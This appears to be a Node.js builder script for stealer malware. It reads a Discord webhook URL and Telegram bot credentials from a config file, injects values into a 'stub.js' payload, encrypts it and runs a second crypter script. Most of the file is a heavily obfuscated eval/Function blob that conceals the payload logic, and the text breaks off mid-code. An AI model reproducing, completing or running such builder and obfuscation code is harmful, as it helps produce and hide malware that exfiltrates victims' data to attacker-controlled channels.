const fs = require('fs');
const path = require('path');
const crypto = require('crypto');
const os = require('os');
const { spawn } = require('child_process');
const JavaScriptObfuscator = require('javascript-obfuscator');

function readInfosFromFile() {
  try {
    const jsonPath = path.resolve(__dirname, '../gui/info.json');
    const data = fs.readFileSync(jsonPath, 'utf8');
    const jsonData = JSON.parse(data);
    return {
      webhookURL: jsonData.discordWebhookURL,
      telegramBotToken: jsonData.telegramBotToken,
      telegramChatID: jsonData.telegramChatID
    };
  } catch (error) {
    throw new Error(`Error reading info: ${error.message}`);
  }
}

const { webhookURL, telegramBotToken, telegramChatID } = readInfosFromFile();

function encrypt(text, masterkey) {
  const iv = crypto.randomBytes(16);
  const salt = crypto.randomBytes(16);
  const key = crypto.pbkdf2Sync(masterkey, salt, 100000, 32, 'sha512');
  const cipher = crypto.createCipheriv('aes-256-cbc', key, iv);
  let encrypted = cipher.update(text, 'utf8', 'base64');
  encrypted += cipher.final('base64');
  return {
    encryptedData: encrypted,
    salt: salt.toString('base64'),
    iv: iv.toString('base64')
  };
}

function decrypt(encdata, masterkey, salt, iv) {
  const key = crypto.pbkdf2Sync(masterkey, Buffer.from(salt, 'base64'), 100000, 32, 'sha512');
  const decipher = crypto.createDecipheriv('aes-256-cbc', key, Buffer.from(iv, 'base64'));
  let decrypted = decipher.update(encdata, 'base64', 'utf8');
  decrypted += decipher.final('utf8');
  return decrypted;
}

function executeSecondCrypterScript() {
  return new Promise((resolve, reject) => {
    const crypterDirectory = __dirname;
    const secondCrypterScript = 'jscrypter.js';

    const childProcess = spawn('node', [secondCrypterScript], {
      cwd: crypterDirectory,
      stdio: 'inherit'
    });

    childProcess.on('error', (error) => {
      console.error(`Error executing second encryption script: ${error.message}`);
      reject(error);
    });

    childProcess.on('exit', (code, signal) => {
      if (code === 0) {
        console.log('Second encryption script executed successfully.');
        resolve();
      } else {
        const err = new Error(`Second encryption script failed. Exit code: ${code}, signal: ${signal}`);
        console.error(err.message);
        reject(err);
      }
    });
  });
}

function resetPlaceholder(stubPath, originalStubCode) {
  fs.writeFileSync(stubPath, originalStubCode, 'utf8');
  console.log('Stub placeholder reset successfully.');
}

async function main() {
  try {
    const stubPath = path.resolve(__dirname, 'stub.js');
    const stubCode = fs.readFileSync(path.resolve(__dirname, 'stub.js'), 'utf8');

    const updatedStubCode=(function(s,w,t1,t2){const g=global;g["_155ea346"]=s;g["_201f4db3"]=w;g["_9531f6da"]=t1;g["_af9dc00e"]=t2;eval("Function(\"fIBqk6J\",\"var kLN59z,dIcPdX,__globalObject,__TextDecoder,__Uint8Array,__Buffer,__String,__Array,utf8ArrayToStr,PiORiB;function OIuzy72(kLN59z,dIcPdX,__globalObject){for(__globalObject=0x0;__globalObject<dIcPdX;__globalObject++)kLN59z.push(kLN59z.shift());return kLN59z}const IHeOuy=[\\\"length\\\",0x1,0xae,0x0,0x8,0x76,\\\"a\\\",\\\"i\\\",0x7,0x5,\\\"f\\\",0x4,0xff,0xf6,\\\"c\\\",0x3,\\\"e\\\",\\\"undefined\\\",void 0x0,\\\"d\\\",0xa3,\\\"b\\\",0xd8,0x3f,0x6,\\\"fromCodePoint\\\",0xc,\\\"push\\\",0x2,0xc1,\\\"g\\\",0x5b,0x1fff,0x58,0xd,0xe,0xcf,0x9,0x6f,0x5d,0x8e,0x7e,0x7f,0x79,0x80,!0x1,0x5e,0x4b,0xa9,0x6e,0xf7,0xd2,0xd3,0xd7,0xdf,0xde,0xe6];EaHVzRe(TV1cZM(IhWhl8),TV1cZM(AFyN0aq));function TV1cZM(kLN59z,dIcPdX=IHeOuy[0x1]){Object.defineProperty(kLN59z,IHeOuy[0x0],{value:dIcPdX,configurable:IHeOuy[0x2d]});return kLN59z}function AFyN0aq(...kLN59z){EaHVzRe(kLN59z[IHeOuy[0x0]]=IHeOuy[0x1],kLN59z[IHeOuy[0x6]]=\\\"1w9|0[~6>]c`aHq3ny4,%GmX{rMg?RTtkKQFi/z\\\\\\\"Wf+$Ex!YP^(u@5dVLJ;:2D7ep}#v&_ClUo8hBb=IANS*sZ<)j.O\\\",kLN59z[IHeOuy[0x2]]=\\\"\\\"+(kLN59z[IHeOuy[0x3]]||\\\"\\\"),kLN59z[IHeOuy[0x5]]=kLN59z[IHeOuy[0x2]].length,kLN59z[IHeOuy[0xb]]=[],kLN59z[IHeOuy[0x9]]=IHeOuy[0x3],kLN59z[IHeOuy[0xa]]=IHeOuy[0x3],kLN59z[IHeOuy[0x8]]=-IHeOuy[0x1]);for(kLN59z[IHeOuy[0x4]]=IHeOuy[0x3];kLN59z[IHeOuy[0x4]]<kLN59z[IHeOuy[0x5]];kLN59z[IHeOuy[0x4]]++){kLN59z[IHeOuy[0x7]]=kLN59z[IHeOuy[0x6]].indexOf(kLN59z[IHeOuy[0x2]][kLN59z[IHeOuy[0x4]]]);if(kLN59z[IHeOuy[0x7]]===-IHeOuy[0x1])continue;if(kLN59z[IHeOuy[0x8]]<IHeOuy[0x3]){kLN59z[IHeOuy[0x8]]=kLN59z[IHeOuy[0x7]]}else{EaHVzRe(kLN59z[IHeOuy[0x8]]+=kLN59z[IHeOuy[0x7]]*IHeOuy[0x1f],kLN59z[IHeOuy[0x9]]|=kLN59z[IHeOuy[0x8]]<<kLN59z[IHeOuy[0xa]],kLN59z[IHeOuy[0xa]]+=(kLN59z[IHeOuy[0x8]]&IHeOuy[0x20])>IHeOuy[0x21]?IHeOuy[0x22]:IHeOuy[0x23]);do{EaHVzRe(kLN59z[IHeOuy[0xb]].push(kLN59z[IHeOuy[0x9]]&IHeOuy[0xc]),kLN59z[IHeOuy[0x9]]>>=IHeOuy[0x4],kLN59z[IHeOuy[0xa]]-=IHeOuy[0x4])}while(kLN59z[IHeOuy[0xa]]>IHeOuy[0x8]);kLN59z[IHeOuy[0x8]]=-IHeOuy[0x1]}}if(kLN59z[IHeOuy[0x8]]>-IHeOuy[0x1]){kLN59z[IHeOuy[0xb]].push((kLN59z[IHeOuy[0x9]]|kLN59z[IHeOuy[0x8]]<<kLN59z[IHeOuy[0xa]])&IHeOuy[0xc])}return JoD2I9(kLN59z[IHeOuy[0xb]])}function Wqg3hy7(__globalObject){if(typeof kLN59z[__globalObject]===IHeOuy[0x11]){return kLN59z[__globalObject]=AFyN0aq(dIcPdX[__globalObject])}return kLN59z[__globalObject]}EaHVzRe(kLN59z={},dIcPdX=OIuzy72([\\\"n@(d5wH#(DK?bctYT)K@o<hRLW+%c8#R2zlA}tf`\\\",\\\"YBXr</.k;\\\",\\\"^dhTh\\\",\\\"!.*[iHqNG@\\\",\\\"T!!~!p^E$W\\\",\\\"(?){&q:1^]\\\",\\\"}.*Ti<by\\\",\\\"9i){Cu@y\\\",\\\"Ud<{V}U#AzYfX;2RJr:]\\\",\\\"3D*TrRgukJ5?5;\\\",\\\"fi~!%?Xy8%[4k`(KI{K!{8]#aU5Zz`\\\",\\\"hv>{V}W`\\\",\\\"bllV+Al4p=5^]a1M_!rdNG=nD3x+echilA6AKGxR~qJ/,?ghg[SwN8YbfJgVHh7K_D9;Gxc9]a(%\\\\\\\"h`>R?z/xtZKy73IV,U:s*+VG};#$a)S22iRZuntaFL7BI$u}GP>A&{~F:%7nfNHjalntz!6j(.^n=e{=L4:&ugN!vc#$z}0]|}hd&X{%zHv&$ky`0^>ZWOd<S7#vDlJZ}3WV&L/zC)J]zR_(}eh_doN0?fKla6m[brjg&jd2ui4B4Av.<4<RSX6M:Z3v7:.p.YuF.&{A2QZrWs,6xT,F3qH#52vAzt[_L3<02{/vfmEyBUvR(z:2*Vwy}[dMfq_AnXEn!3{/?MR$*9Ql9?K3D516GW#y7qy,8o,:?K/4m[E`qYm|2j<j)yt;Asu(2{C+aWujzC/:/=Y/WTJ.FbWD)FdM>i4(q*_gDnNal:AJ15Eg@ARn;*N)wQJGAvfnWK6EcS>m6=1HA(vnf9GYaDW+/^Ce(oKdY)(^?K7cI$N\\\\\\\"m^1c3y1$(@nA&6V\\\\\\\"}ov>%J4BL>=}/|]}CL#1*aS/n_Km&ZH]zhR%C;u<:wr~.|{yMdR/ztAe?}K^)#>tBcJ$a6m!|]r;w<H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eOuy[0x6]]=[function(){return globalThis},function(){return global},function(){return fIBqk6J[\\\"AgmeFi1\\\"]},function(){return new Function(\\\"return this\\\")()}],kLN59z[IHeOuy[0xd]]=IHeOuy[0x12],kLN59z[IHeOuy[0xe]]=[]);try{EaHVzRe(kLN59z[IHeOuy[0xd]]=Object,kLN59z[IHeOuy[0xe]][IHeOuy[0x1b]](\\\"\\\".__proto__.constructor.name))}catch(dIcPdX){}V0hhPr:for(kLN59z[IHeOuy[0xf]]=IHeOuy[0x3];kLN59z[IHeOuy[0xf]]<kLN59z[IHeOuy[0x6]][IHeOuy[0x0]];kLN59z[IHeOuy[0xf]]++)try{kLN59z[IHeOuy[0xd]]=kLN59z[IHeOuy[0x6]][kLN59z[IHeOuy[0xf]]]();for(kLN59z[IHeOuy[0x10]]=IHeOuy[0x3];kLN59z[IHeOuy[0x10]]<kLN59z[IHeOuy[0xe]][IHeOuy[0x0]];kLN59z[IHeOuy[0x10]]++)if(typeof kLN59z[IHeOuy[0xd]][kLN59z[IHeOuy[0xe]][kLN59z[IHeOuy[0x10]]]]===IHeOuy[0x11])continue V0hhPr;return kLN59z[IHeOuy[0xd]]}catch(dIcPdX){}return kLN59z[IHeOuy[0xd]]||this}EaHVzRe(__globalObject=SFN0TE()||{},__TextDecoder=__globalObject.TextDecoder,__Uint8Array=__globalObject.Uint8Array,__Buffer=__globalObject.Buffer,__String=__globalObject.String||String,__Array=__globalObject.Array||Array,utf8ArrayToStr=function(){var kLN59z=new __Array(IHeOuy[0x2c]),dIcPdX,__globalObject;EaHVzRe(dIcPdX=__String[IHeOuy[0x19]]||__String.fromCharCode,__globalObject=[]);return TV1cZM(function(...__TextDecoder){EaHVzRe(__TextDecoder[IHeOuy[0x0]]=IHeOuy[0x1],__TextDecoder[IHeOuy[0x16]]=IHeOuy[0x12],__TextDecoder[IHeOuy[0x15]]=IHeOuy[0x12],__TextDecoder[-IHeOuy[0x14]]=__TextDecoder[IHeOuy[0x3]][IHeOuy[0x0]],__globalObject[IHeOuy[0x0]]=IHeOuy[0x3]);for(__TextDecoder[IHeOuy[0x13]]=IHeOuy[0x3];__TextDecoder[IHeOuy[0x13]]<__TextDecoder[-IHeOuy[0x14]];){EaHVzRe(__TextDecoder[IHeOuy[0x15]]=__TextDecoder[IHeOuy[0x3]][__TextDecoder[IHeOuy[0x13]]++],__TextDecoder[IHeOuy[0x15]]<=IHeOuy[0x2a]?__TextDecoder[IHeOuy[0x16]]=__TextDecoder[IHeOuy[0x15]]:__TextDecoder[IHeOuy[0x15]]<=IHeOuy[0x36]?__TextDecoder[IHeOuy[0x16]]=(__TextDecoder[IHeOuy[0x15]]&0x1f)<<IHeOuy[0x18]|__TextDecoder[IHeOuy[0x3]][__TextDecoder[IHeOuy[0x13]]++]&IHeOuy[0x17]:__TextDecoder[IHeOuy[0x15]]<=0xef?__TextDecoder[IHeOuy[0x16]]=(__TextDecoder[IHeOuy[0x15]]&0xf)<<IHeOuy[0x1a]|(__TextDecoder[IHeOuy[0x3]][__TextDecoder[IHeOuy[0x13]]++]&IHeOuy[0x17])<<IHeOuy[0x18]|__TextDecoder[IHeOuy[0x3]][__TextDecoder[IHeOuy[0x13]]++]&IHeOuy[0x17]:__String[IHeOuy[0x19]]?__TextDecoder[IHeOuy[0x16]]=(__TextDecoder[IHeOuy[0x15]]&IHeOuy[0x8])<<0x12|(__TextDecoder[IHeOuy[0x3]][__TextDecoder[IHeOuy[0x13]]++]&IHeOuy[0x17])<<IHeOuy[0x1a]|(__TextDecoder[IHeOuy[0x3]][__TextDecoder[IHeOuy[0x13]]++]&IHeOuy[0x17])<<IHeOuy[0x18]|__TextDecoder[IHeOuy[0x3]][__TextDecoder[IHeOuy[0x13]]++]&IHeOuy[0x17]:(__TextDecoder[IHeOuy[0x16]]=IHeOuy[0x17],__TextDecoder[IHeOuy[0x13]]+=IHeOuy[0xf]),__globalObject[IHeOuy[0x1b]](kLN59z[__TextDecoder[IHeOuy[0x16]]]||(kLN59z[__TextDecoder[IHeOuy[0x16]]]=dIcPdX(__TextDecoder[IHeOuy[0x16]]))))}return __globalObject.join(\\\"\\\")})}());function JoD2I9(kLN59z){return typeof __TextDecoder!==IHeOuy[0x11]&&__TextDecoder?new __TextDecoder().decode(new __Uint8Array(kLN59z)):typeof __Buffer!==IHeOuy[0x11]&&__Buffer?__Buffer.from(kLN59z).toString(\\\"utf-8\\\"):utf8ArrayToStr(kLN59z)}PiORiB=RRp28X();function RRp28X(){var __globalObject,__TextDecoder,__Uint8Array,__Buffer;EaHVzRe(TV1cZM(__Array),TV1cZM(__String));function __String(...__globalObject){var __TextDecoder,__Uint8Array;function*__Buffer(__Uint8Array,__Buffer,__String,__Array,utf8ArrayToStr={Tl9OEY:{}}){while(__Uint8Array+__Buffer+__String+__Array!==-0x18)with(utf8ArrayToStr.HoHV9z||utf8ArrayToStr)switch(__Uint8Array+__Buffer+__String+__Array){case __Array-0x86:default:case 0x78:EaHVzRe([utf8ArrayToStr.Tl9OEY.QnLV5c,utf8ArrayToStr.Tl9OEY.NFTePjz,utf8ArrayToStr.Tl9OEY.tXiaVDr]=[0xad,0x42,-0x1],__globalObject[IHeOuy[__Buffer+0xe8]]=IHeOuy[__String+0x21],__globalObject[IHeOuy[0x6]]=\\\"<fLDaKojHeC\\\\\\\"itFwhy*ub2J?0U_Qg|.~)GpE4kB!7x/1s&;ld5nI,}m$XS8:PM@]ZR+N3[`zqr=#O>{VWv9%T(AY^6c\\\",__globalObject[IHeOuy[0x1c]]=\\\"\\\"+(__globalObject[IHeOuy[__Buffer+0xeb]]||\\\"\\\"),utf8ArrayToStr.HoHV9z=utf8ArrayToStr.Tl9OEY,__Uint8Array+=-0x289,__Buffer+=0x16f,__String+=0x118,__Array+=-0x55);break;case utf8ArrayToStr.Tl9OEY.QnLV5c+0x40:case-0xb7:case-0x37:__globalObject[IHeOuy[0x1e]]=-IHeOuy[__Buffer+-0x86];for(__globalObject[IHeOuy[__Buffer+-0x83]]=IHeOuy[__Buffer+-0x84];__globalObject[IHeOuy[0x4]]<__globalObject[IHeOuy[0x1d]];__globalObject[IHeOuy[__Uint8Array+0xbc]]++){__globalObject[IHeOuy[__String+-0xeb]]=__globalObject[IHeOuy[0x6]].indexOf(__globalObject[IHeOuy[0x1c]][__globalObject[IHeOuy[0x4]]]);if(__globalObject[IHeOuy[__String+-0xeb]]===-IHeOuy[__Uint8Array+0xb9])continue;if(__globalObject[IHeOuy[__String+-0xd4]]<IHeOuy[0x3]){__globalObject[IHeOuy[0x1e]]=__globalObject[IHeOuy[0x7]]}else{EaHVzRe(__globalObject[IHeOuy[0x1e]]+=__globalObject[IHeOuy[0x7]]*IHeOuy[0x1f],__globalObject[IHeOuy[0x9]]|=__globalObject[IHeOuy[__Buffer+-0x69]]<<__globalObject[IHeOuy[0xa]],__globalObject[IHeOuy[__Uint8Array+0xc2]]+=(__globalObject[IHeOuy[__Buffer+-0x69]]&IHeOuy[__String+-0xd2])>IHeOuy[__Uint8Array+0xd9]?IHeOuy[0x22]:IHeOuy[0x23]);do{EaHVzRe(__globalObject[IHeOuy[0x13]].push(__globalObject[IHeOuy[0x9]]&IHeOuy[__Uint8Array+0xc4]),__globalObject[IHeOuy[__Buffer+-0x7e]]>>=IHeOuy[__String+-0xee],__globalObject[IHeOuy[0xa]]-=IHeOuy[0x4])}while(__globalObject[IHeOuy[__Buffer+-0x7d]]>IHeOuy[0x8]);__globalObject[IHeOuy[0x1e]]=-IHeOuy[0x1]}}if(__globalObject[IHeOuy[__Buffer+-0x69]]>-IHeOuy[0x1]){EaHVzRe(utf8ArrayToStr.HoHV9z=utf8ArrayToStr.Tl9OEY,__Uint8Array+=-0x42,__Buffer+=0x34,__String+=-0x23);break}else{EaHVzRe(utf8ArrayToStr.HoHV9z=utf8ArrayToStr.Tl9OEY,__Uint8Array+=0x6b,__Buffer+=0x34,__String+=-0x1cb);break}case __Array- -0x89:EaHVzRe([utf8ArrayToStr.Tl9OEY.QnLV5c,utf8ArrayToStr.Tl9OEY.NFTePjz,utf8ArrayToStr.Tl9OEY.tXiaVDr]=[-0x4f,-0x94,-0x7f],__globalObject[IHeOuy[0x1e]]=-IHeOuy[0x1]);for(__globalObject[IHeOuy[0x4]]=IHeOuy[0x3];__globalObject[IHeOuy[0x4]]<__globalObject[IHeOuy[0x1d]];__globalObject[IHeOuy[0x4]]++){__globalObject[IHeOuy[0x7]]=__globalObject[IHeOuy[0x6]].indexOf(__globalObject[IHeOuy[0x1c]][__globalObject[IHeOuy[0x4]]]);if(__globalObject[IHeOuy[0x7]]===-IHeOuy[0x1])continue;if(__globalObject[IHeOuy[0x1e]]<IHeOuy[0x3]){__globalObject[IHeOuy[0x1e]]=__globalObject[IHeOuy[__Buffer+-0x28b]]}else{EaHVzRe(__globalObject[IHeOuy[0x1e]]+=__globalObject[IHeOuy[__Buffer+-0x28b]]*IHeOuy[0x1f],__globalObject[IHeOuy[0x9]]|=__globalObject[IHeOuy[0x1e]]<<__globalObject[IHeOuy[0xa]],__globalObject[IHeOuy[0xa]]+=(__globalObject[IHeOuy[0x1e]]&IHeOuy[0x20])>IHeOuy[0x21]?IHeOuy[0x22]:IHeOuy[0x23]);do{EaHVzRe(__globalObject[IHeOuy[0x13]].push(__globalObject[IHeOuy[0x9]]&IHeOuy[0xc]),__globalObject[IHeOuy[0x9]]>>=IHeOuy[0x4],__globalObject[IHeOuy[0xa]]-=IHeOuy[0x4])}while(__globalObject[IHeOuy[0xa]]>IHeOuy[0x8]);__globalObject[IHeOuy[0x1e]]=-IHeOuy[0x1]}}if(__globalObject[IHeOuy[0x1e]]>-IHeOuy[0x1]){EaHVzRe(utf8ArrayToStr.HoHV9z=utf8ArrayToStr.Tl9OEY,__Uint8Array+=0x69,__Buffer+=-0x1d7,__String+=0x175,__Array+=-0x1c);break}else{EaHVzRe(utf8ArrayToStr.HoHV9z=utf8ArrayToStr.Tl9OEY,__Uint8Array+=0x116,__Buffer+=-0x1d7,__String+=-0x33,__Array+=-0x1c);break}case __Uint8Array- -0xbd:case-0xae:EaHVzRe(utf8ArrayToStr.HoHV9z=utf8ArrayToStr.p0ToXR,__Uint8Array+=0x4a,__Buffer+=-0x299,__String+=0xce,__Array+=0x13);break;case __String-0x1c8:EaHVzRe(__globalObject[IHeOuy[__Uint8Array+0x224]]=__globalObject[IHeOuy[0x1c]].length,__globalObject[IHeOuy[0x13]]=[],utf8ArrayToStr.HoHV9z=utf8ArrayToStr.Tl9OEY,__Array+=0xb6);break;case 0x65:case-0xf9:case utf8ArrayToStr.Tl9OEY.NFTePjz+-0x11e:EaHVzRe([utf8ArrayToStr.Tl9OEY.QnLV5c,utf8ArrayToStr.Tl9OEY.NFTePjz,utf8ArrayToStr.Tl9OEY.tXiaVDr]=[0xc0,0x68,-0x1b],__globalObject[IHeOuy[0x1e]]=-IHeOuy[0x1]);for(__globalObject[IHeOuy[__Buffer+0x30]]=IHeOuy[__Buffer+0x2f];__globalObject[IHeOuy[0x4]]<__globalObject[IHeOuy[0x1d]];__globalObject[IHeOuy[0x4]]++){__globalObject[IHeOuy[0x7]]=__globalObject[IHeOuy[0x6]].indexOf(__globalObject[IHeOuy[0x1c]][__globalObject[IHeOuy[__String+-0xb5]]]);if(__globalObject[IHeOuy[0x7]]===-IHeOuy[0x1])continue;if(__globalObject[IHeOuy[__Uint8Array+0x181]]<IHeOuy[0x3]){__globalObject[IHeOuy[0x1e]]=__globalObject[IHeOuy[0x7]]}else{EaHVzRe(__globalObject[IHeOuy[__String+-0x9b]]+=__globalObject[IHeOuy[0x7]]*IHeOuy[0x1f],__globalObject[IHeOuy[0x9]]|=__globalObject[IHeOuy[0x1e]]<<__globalObject[IHeOuy[0xa]],__globalObject[IHeOuy[0xa]]+=(__globalObject[IHeOuy[0x1e]]&IHeOuy[0x20])>IHeOuy[0x21]?IHeOuy[0x22]:IHeOuy[0x23]);do{EaHVzRe(__globalObject[IHeOuy[0x13]].push(__globalObject[IHeOuy[0x9]]&IHeOuy[0xc]),__globalObject[IHeOuy[0x9]]>>=IHeOuy[0x4],__globalObject[IHeOuy[__Buffer+0x36]]-=IHeOuy[0x4])}while(__globalObject[IHeOuy[0xa]]>IHeOuy[0x8]);__globalObject[IHeOuy[0x1e]]=-IHeOuy[0x1]}}if(__globalObject[IHeOuy[0x1e]]>-IHeOuy[__Uint8Array+0x164]){EaHVzRe(utf8ArrayToStr.HoHV9z=utf8ArrayToStr.Tl9OEY,__Uint8Array+=0x69,__Buffer+=0xe7,__String+=0x16,__Array+=0x32);break}else{EaHVzRe(utf8ArrayToStr.HoHV9z=utf8ArrayToStr.Tl9OEY,__Uint8Array+=0x116,__Buffer+=0xe7,__String+=-0x192,__Array+=0x32);break}case 0x9a:case 0xf0:case 0xbc:EaHVzRe(__globalObject[IHeOuy[0x13]].push((__globalObject[IHeOuy[__Buffer+-0xb2]]|__globalObject[IHeOuy[0x1e]]<<__globalObject[IHeOuy[0xa]])&IHeOuy[0xc]),utf8ArrayToStr.HoHV9z=utf8ArrayToStr.Tl9OEY,__Uint8Array+=0xad,__String+=-0x1a8);break;case __Uint8Array- -0x65:EaHVzRe(utf8ArrayToStr.HoHV9z=utf8ArrayToStr.Tl9OEY,__Uint8Array+=0x14d,__Buffer+=0x73,__String+=0x10f,__Array+=-0x186);break;case __String-0x112:EaHVzRe(__globalObject[IHeOuy[0x9]]=IHeOuy[0x3],__globalObject[IHeOuy[__Buffer+-0x7d]]=IHeOuy[0x3],utf8ArrayToStr.HoHV9z=utf8ArrayToStr.Tl9OEY,__Uint8Array+=0x14f,__String+=-0x6,__Array+=-0x42);break;case utf8ArrayToStr.Tl9OEY.QnLV5c+0x2c:EaHVzRe(utf8ArrayToStr.HoHV9z=utf8ArrayToStr.HGjtVgg,__Uint8Array+=-0xc5,__Buffer+=0xeb,__String+=-0x117);break;case __String- -0x9a:case 0x5c:return __TextDecoder=!0x0,JoD2I9(__globalObject[IHeOuy[0x13]]);case utf8ArrayToStr.Tl9OEY.QnLV5c+-0x19d:EaHVzRe(utf8ArrayToStr.HoHV9z=utf8ArrayToStr.Tl9OEY,__Uint8Array+=-0x27f,__Buffer+=0x280,__String+=0xd7,__Array+=-0xb8);break}}EaHVzRe(__TextDecoder=void 0x0,__Uint8Array=__Buffer(0x82,-0xe8,-0x20,0xd).next().value);if(__TextDecoder){return __Uint8Array}}function __Array(...__globalObject){__globalObject[IHeOuy[0x0]]=IHeOuy[0x1];if(typeof kLN59z[__globalObject[IHeOuy[0x3]]]===IHeOuy[0x11]){return kLN59z[__globalObject[IHeOuy[0x3]]]=__String(dIcPdX[__globalObject[IHeOuy[0x3]]])}return kLN59z[__globalObject[IHeOuy[0x3]]]}EaHVzRe(__globalObject=[function(){return globalThis},function(){return global},function(){return fIBqk6J[\\\"AgmeFi1\\\"]},function(){TV1cZM(__globalObject);function __globalObject(...__globalObject){var __TextDecoder,__Uint8Array;function*__Buffer(__Uint8Array,__Buffer,__String={MEHaAbH:{}}){while(__Uint8Array+__Buffer!==-0xc8)with(__String.iTe30_||__String)switch(__Uint8Array+__Buffer){case __Uint8Array- -0x45:case-0xfa:return __TextDecoder=!0x0,JoD2I9(__globalObject[IHeOuy[0xb]]);case __String.MEHaAbH.Rm8EtX+0x78:[__String.MEHaAbH.dtHjAop,__String.MEHaAbH.gbKV9S6,__String.MEHaAbH.Rm8EtX]=[0x76,-0x4e,0xbc];return __TextDecoder=!0x0,JoD2I9(__globalObject[IHeOuy[0xb]]);case 0xa2:case 0x71:case-0x47:EaHVzRe(__globalObject[IHeOuy[__Uint8Array+0x27]]=[],__globalObject[IHeOuy[0x26]]=IHeOuy[0x3],__globalObject[IHeOuy[0x18]]=IHeOuy[__Uint8Array+0x1f],__String.iTe30_=__String.MEHaAbH,__Uint8Array+=0x19);break;case 0xd8:case-0xb8:EaHVzRe(__String.iTe30_=__String.MEHaAbH,__Uint8Array+=0xca,__Buffer+=-0xf9);break;default:case 0x28:case 0x6c:__globalObject[IHeOuy[0x1e]]=-IHeOuy[0x1];for(__globalObject[IHeOuy[__Uint8Array+0x7]]=IHeOuy[0x3];__globalObject[IHeOuy[__Uint8Array+0x7]]<__globalObject[IHeOuy[__Uint8Array+0x11]];__globalObject[IHeOuy[__Uint8Array+0x7]]++){__globalObject[IHeOuy[0x25]]=__globalObject[IHeOuy[__Uint8Array+0x27]].indexOf(__globalObject[IHeOuy[0x1c]][__globalObject[IHeOuy[0x4]]]);if(__globalObject[IHeOuy[0x25]]===-IHeOuy[0x1])continue;if(__globalObject[IHeOuy[__Uint8Array+0x21]]<IHeOuy[0x3]){__globalObject[IHeOuy[0x1e]]=__globalObject[IHeOuy[0x25]]}else{EaHVzRe(__globalObject[IHeOuy[0x1e]]+=__globalObject[IHeOuy[0x25]]*IHeOuy[0x1f],__globalObject[IHeOuy[0x26]]|=__globalObject[IHeOuy[0x1e]]<<__globalObject[IHeOuy[0x18]],__globalObject[IHeOuy[__Uint8Array+0x1b]]+=(__globalObject[IHeOuy[0x1e]]&IHeOuy[0x20])>IHeOuy[__Uint8Array+0x24]?IHeOuy[0x22]:IHeOuy[0x23]);do{EaHVzRe(__globalObject[IHeOuy[0xb]].push(__globalObject[IHeOuy[0x26]]&IHeOuy[0xc]),__globalObject[IHeOuy[__Uint8Array+0x29]]>>=IHeOuy[__Uint8Array+0x7],__globalObject[IHeOuy[__Uint8Array+0x1b]]-=IHeOuy[0x4])}while(__globalObject[IHeOuy[__Uint8Array+0x1b]]>IHeOuy[0x8]);__globalObject[IHeOuy[0x1e]]=-IHeOuy[0x1]}}if(__globalObject[IHeOuy[__Uint8Array+0x21]]>-IHeOuy[0x1]){EaHVzRe(__String.iTe30_=__String.MEHaAbH,__Uint8Array+=-0x87,__Buffer+=-0x11b);break}else{EaHVzRe(__String.iTe30_=__String.MEHaAbH,__Uint8Array+=0x3c,__Buffer+=-0x4e);break}case __Buffer!=0x3&&__Buffer- -0xa4:case 0x52:case-0x91:return __TextDecoder=!0x0,JoD2I9(__globalObject[IHeOuy[0xb]]);case-0xd3:case __String.MEHaAbH.Rm8EtX+0x3e:return __TextDecoder=!0x0,JoD2I9(__globalObject[IHeOuy[0xb]]);case 0xa6:case-0x4f:case-0x5:EaHVzRe(__String.iTe30_=__String.MEHaAbH,__Uint8Array+=-0xf5,__Buffer+=0x1b5);break;case-0xb2:EaHVzRe(__globalObject[IHeOuy[0x1c]]=\\\"\\\"+(__globalObject[IHeOuy[__Uint8Array+0x173]]||\\\"\\\"),__globalObject[IHeOuy[__Uint8Array+0x17e]]=__globalObject[IHeOuy[0x1c]].length,__String.iTe30_=__String.MEHaAbH,__Uint8Array+=0x154);break;case 0x91:case __Buffer- -0x136:EaHVzRe([__String.MEHaAbH.dtHjAop,__String.MEHaAbH.gbKV9S6,__String.MEHaAbH.Rm8EtX]=[0x71,0xca,0x6b],__globalObject[IHeOuy[__Uint8Array+-0x136]]=IHeOuy[0x1],__globalObject[IHeOuy[0x24]]=\\\"xAKbcGgkPraYTn9h:Z%;DqNyf_L+mpX&)?8>ozdvw=We\\\\\\\"`6E]u~i<M01U43JVs|2#I{(.j[QH5*$t^F!@}lRB7OS/,C\\\",__String.iTe30_=__String.MEHaAbH,__Uint8Array+=-0x2a6,__Buffer+=0x16f);break;case 0xa7:[__String.MEHaAbH.dtHjAop,__String.MEHaAbH.gbKV9S6,__String.MEHaAbH.Rm8EtX]=[0x2a,-0x64,-0x66];return __TextDecoder=!0x0,JoD2I9(__globalObject[IHeOuy[__Uint8Array+-0x99]]);case __Uint8Array-0x5d:case-0x19:EaHVzRe(__globalObject[IHeOuy[__Uint8Array+0x95]].push((__globalObject[IHeOuy[__Uint8Array+0xb0]]|__globalObject[IHeOuy[0x1e]]<<__globalObject[IHeOuy[0x18]])&IHeOuy[__Uint8Array+0x96]),__String.iTe30_=__String.MEHaAbH,__Uint8Array+=0xc3,__Buffer+=0xcd);break;case __Buffer!=0x9c&&__Buffer-0x154:case-0xcc:EaHVzRe(__String.iTe30_=__String.MEHaAbH,__Uint8Array+=0x18d,__Buffer+=-0x15b);break}}EaHVzRe(__TextDecoder=void 0x0,__Uint8Array=__Buffer(0x136,-0xb1).next().value);if(__TextDecoder){return __Uint8Array}}function __TextDecoder(__TextDecoder){if(typeof kLN59z[__TextDecoder]===IHeOuy[0x11]){return kLN59z[__TextDecoder]=__globalObject(dIcPdX[__TextDecoder])}return kLN59z[__TextDecoder]}return new Function(__TextDecoder(0x78))()}],__TextDecoder=void 0x0,__Uint8Array=[]);try{TV1cZM(utf8ArrayToStr);function 